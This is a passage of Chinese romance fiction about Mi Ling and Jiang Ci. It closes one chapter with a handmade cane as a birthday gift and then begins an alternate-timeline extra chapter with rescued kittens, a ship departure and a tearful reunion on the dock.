“我还以为你没收到……这么重要的东西,那时候我就剪下来收好了啊,一直夹在书里,等回去了,我就把它裱起来挂在大门口墙上,让每个到我们家里的人都看见。” 糜岭又笑,拽他躺下来,搂着他讨吻:“想不想我?” “想,”他把还竖在怀里的手杖拿起来晃了晃,“你的生日礼物。” “谢谢你宝宝。” “这是我自己做的,”他把手伸给糜岭看,“我去当学徒,学着做了一支,你看这里都磨出茧子了。” 糜岭皱了皱眉:“要你去做那种事情!” “我都这样了你还不疼我,还凶我!”他委屈地大叫。糜岭捧着他的脸亲来亲去,一边哄他。两人拥抱纠缠着,缝在一起似的紧密,姜瓷听到他在耳边柔柔地一遍遍唤着“宝宝”,只觉得心痛难当。 其实也没有多大的委屈,他想,他很愿意,愿意堕入充满木头碎屑的地狱里,生生世世地打磨手杖,磨得手上满是茧子满是血都没关系,只要能磨出一支可以让糜岭安稳地倚着走路的手杖。 “阿岭,”他哽咽着,“你说过,不管我什么样,你都会爱我,那你有没有想过,我也是一样的,不管你什么样,我也都会爱你。” 糜岭抬起酸涩的眼睛深深地望向他,没头没脑地说:“宝宝真漂亮。”端丽的脸庞,白荷花一样,自己作为枯藤,或者还没有枯藤那样老朽,是水,是池塘里纠缠的藻叶,是鱼,不管作为什么,都可以永远地绕在他身畔。没什么大不了。 姜瓷听了哭嚷着道:“你喝醉了,都没听我说话!” 他笑起来:“怎么会,我都听见了,宝宝今天怎么这么乖这么讨人喜欢……我们回家,明天早上就走,好不好?” 55. 番外 画梁双燕[番外] 如果五年前没有错过 “听说了吗?码头那儿捞上来一个死人,不知道在海里泡了多久,整个都发胀烂掉了。” “我知道,小凤她哥就在码头上做工,捞上来那天他也在,亲眼看着的!说是连是男是女都认不出来!” “啧,也怪可怜的,这一阵子天天下雨,兴许是到码头上坐船,不小心掉下去淹死的!” 糜岭一踏进家门,就听见在宅院中扫地的两个佣人嘴碎。昨夜又落大暴雨,满园子的紫薇和木槿都被打凋了,红绿的花叶铺了厚厚一层,混着积水,都没下脚的地方。现下已近晌午,大半天的功夫过去了,还没打扫出一条能走的路来。 他平日里是最好脾气的,放往常见着佣人偷懒,睁一只眼闭一只眼也就过去了,今日心里装着事,实在有些恼火,咚地一脚踏到水坑里,冷冷瞥一眼那两人,随即风风火火穿过院子进了屋。 一进屋,立刻听见走廊一侧传来一阵哄闹,循声找过去,在书房里,乱糟糟挤了七八个佣人。靠墙的一只书架被搬开些许,姜瓷正弓着身子往书架与墙壁的缝隙里钻,不知是要去够什么东西。 地下一张薄毯子,黑色的绸面,绣几只肥白的藕节,有只小猫被毯子一角裹着,姜瓷赤着脚踏在毯子另半边上,比藕节还白的短圆的脚趾,一张一松,一扭一提,仿佛正踩在池塘下的泥泞里,奋力地去摸那几只藕呢。 糜岭看得呆了一呆,这时候忽而那书架后刺出一声尖利的猫叫,他回过神,推开堵在面前的佣人再去看,原来缝隙里还溜进去一只猫,姜瓷薄细的身子挤在里面,伸手去够,几次抓不着,反而险些被挠。 他赶忙去拉他,说:“行了,我来。” 佣人中的一个道:“少爷,我们刚刚试过了,这架子太重,费了许多力气才能搬开这么一点儿,谁都钻不进去,哦,小凤那些个小丫头倒能钻,只不过都忙着在厨房打下手,只有额……额……”说到这边卡了壳,望望姜瓷,又低下头,实在不知道该怎么称呼他。 半个多月前,下着大雨的一个深夜,糜岭突然把他带回了家,只说他是一个商人朋友的亲戚,要在公馆借住一段时间。那日大家都看得清清楚楚,他是女子打扮,穿一身白旗袍,浑身湿透,伏在糜岭肩头,被抱进屋里来的,便都以为是自家少爷在外面惹了风流债,不想转过天他就换上了男装。 糜岭听那佣人支支吾吾,又见姜瓷缩成一团靠到窗户旁的角落里,脚还踏在被子上,一只叠着另一只,蜷紧了的窘迫样子,就朝那些个佣人挥挥手,说:“都去忙自己的事情,别管这里了。” 一行人鱼贯而出,就留了他们两人。糜岭拿了扫把来往缝隙里探,一边问:“怎么猫跑到这儿来了?” 姜瓷说:“昨晚下大雨,好像是那时候从窗户跳进来躲雨的。” “你到边上去,把鞋子穿好。” 他这才反应过来,羞囧地说:“我本来在后院帮她们洗被子呢,她们让我脱了鞋踩在盆里,然后听说有猫,我直接就过来了。” “叫你别做事,你反正不听我的话。” 姜瓷嘟囔了一声,糜岭没听清,但莫名觉得可爱,轻轻笑起来。他把肩膀挤进去,睨着眼张了张,再拿扫把往里伸,像是吓着了猫,一道影子忽然就往他脚边蹿来。他眼疾手快一下扑过去,揪住了猫脖颈,把毯子上那只也提溜起来给姜瓷看。那两只猫也就巴掌大,瑟瑟发抖地挤成一团,姜瓷展开掌心来接,将它们搂在怀里,轻声说:“好可怜,好小,像刚出生没多久,是不是和妈妈走散了,还是说妈妈已经……” 他顿住话头,糜岭知道他是想起了已经去世的姜悦,便哄他说:“养着吧,取个名字。” 姜瓷抬起头看着他笑:“真的啊?会不会给你添麻烦?我住在这里就已经很打扰你了……” 糜岭往他身边靠,与他一同倚在窗台上,去摸那两只猫,这么微微弯着腰,几乎与他脸贴着脸。 “不麻烦,两只猫而已,吃不了多少东西。”他说。 姜瓷敛眸垂下头,往边上挪了挪,脸侧过去了,可还是能闻到糜岭身上淡淡的一股暖花香,甜蜜蜜的,沾染得空气都艳艳地泛着红色。他感到颊上燥热,然而心里不怎么快乐。或许糜岭捡他回家就像捡了这两只猫一样,多双筷子吃饭而已,花不了多少钱的。不过他是只身体奇特的猫,对有钱人家的少爷来说,养起来的新鲜感应该会久一些吧? “谢谢你,”他低声说,“它们这么小,放出去一定活不久的。” 糜岭应一声,盯着他手腕上箍着的一根赛璐珞镯子,幽绿色,有些年头了,上面好几道裂痕,是他母亲的遗物,太小,勒得腕上的肉都蓬起来,看着就不舒服,好几次叫他脱掉,他不愿意,说怕弄丢了,说这就相当于他的母亲,就算死也要戴着,死也要带着母亲回上海去。 他把手伸进口袋,摸摸那张船票,犹豫半晌,说:“应该是瞒过周盛业了,码头上捞上来一个人,他以为那是你,船票……我也帮你买好了,今晚七点出发。”他拿出票来给姜瓷看。 姜瓷一只手本来托着两只猫的脑袋,听见他这些话,心中一紧,手上也跟着一紧,恰掐住了猫的脖颈,小猫一下受了惊,挣扎着跳起来扑到地上,叫着,一溜烟跑出门去了。 他呆了片刻,马上去追,哪还追得上,徒劳地跑了两步便停下来,背对着糜岭站在那儿,诺诺应道:“哦,哦,是吗,太好了,这很好,谢谢你……” 糜岭走过去,像是要从后面抱住他一样,将下巴贴近他肩膀:“小瓷。”姜瓷打起哆嗦来,颤巍巍要躲,糜岭一把揽过他的腰,他身子一扭,不知是被拽着了,还是自己的意愿,额头往糜岭肩上一撞,扑进了他怀里。 “日子过得真快,还没教会你跳舞。”糜岭附在他耳畔说话,像那晚在舞厅一样。 “学了干什么,反正没用……”他揪紧了糜岭衣襟,声音颤颤。 “怎么没用,以后遇见了喜欢的女孩子,不得和她跳舞么。” 他脸上一阵白一阵青,咬咬牙,回说:“糜先生说得对,你教了我,我好找小凤跳舞去。” 糜岭皱了皱眉,手臂勒紧了他的腰往上一提,他吓了一跳,两脚乱蹬,本能地想踩住什么站稳,一蹬下去,恰踏在糜岭皮鞋上,只能就这么偎在他怀里,被他带着缓缓地迈步。 “小凤还是个孩子呢。”糜岭轻笑着。他有些气恼地拽着他衣领扯了扯:“放我下来。” “都要走了,就陪我跳完吧。”他抵着他额头 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晚上吃了饭,糜岭送他到码头坐船。车子开到半路,忽然说想要下去走走,消消食,姜瓷便也跟着下了车。这一段路已是沿海的路了,两人沿着堤岸漫步,渐渐仿佛有点儿雨丝落下来,糜岭便到沿街商铺买了把伞。撑开来一罩,路灯的光,绵绵的雨,三两个行人,拍岸的浪声,全被隔绝在晦暗而沉静的这方小天地之外,只剩他们彼此。 可是并不是这样,他们中间其实还隔着许多许多沟壑。 姜瓷觉得眼睛里也要下雨,始终低着头,看着两人的鞋子一前一后地闪动。 路过一个小水塘,糜岭拉了下他的胳膊:“小心。”然后便再没放开他,自然而然地把他的手搭在臂弯里勾着。他更感到低落,一种绮丽的悲伤,至少最后还能这样挽着他的臂膀。 到了码头,糜岭一直送他到船上,头等舱,单独的房间和床。糜岭进来后顺手关上了门。姜瓷静静地俯首坐在床上,脸色被白惨的光一照,蜡人似的虚弱。糜岭忽而心头一震,一把握住他的手,问:“不舒服?” 他摇摇头,呆呆地望着两人纠缠在一起的手指。 外头传来船锚升起来的声音,船要开了。糜岭缓缓松开他的手,轻声说:“路上小心。”没有说再见,他就这么出了船舱,舱门吱呀呀轻轻晃了晃,闪过几个水手模样的人的身影,他们粗鲁地叫嚷嬉闹着,推推搡搡,一下子跌进门里来。 姜瓷一霎时怔忪地从床上跳起来,惊叫着跑了出去,在甲板上闷头狂奔,远远看见码头上那辆车已经调过头要开走了,更铆足了劲,幸而船梯还没完全收起来,他奋力一跳,几乎是连滚带爬往下掉,跌在码头上,眼角余光一睨,那一头糜岭正大步向这边跑过来。他站起身迎上去,与他撞在一起,紧紧相拥。 “我把一个很重要的东西落在你这里了,你把它还我!不然,我无论如何回不了上海了!”他哭着说。 糜岭捧着他的脸,抹掉他脸上的雨水,沉默地凝视着他:“给了我,怎么还有拿回去的道理。” “你无赖!还我,还我!”他揪着他衣领晃。他掰着他下巴,忽然就吻了下来。他愣了一瞬,心惊肉跳,哆哆嗦嗦地抬起手搂他脖颈,他握着他的手往心口上放,说:“还不了,你真的想要,把我的这一个拿去吧。”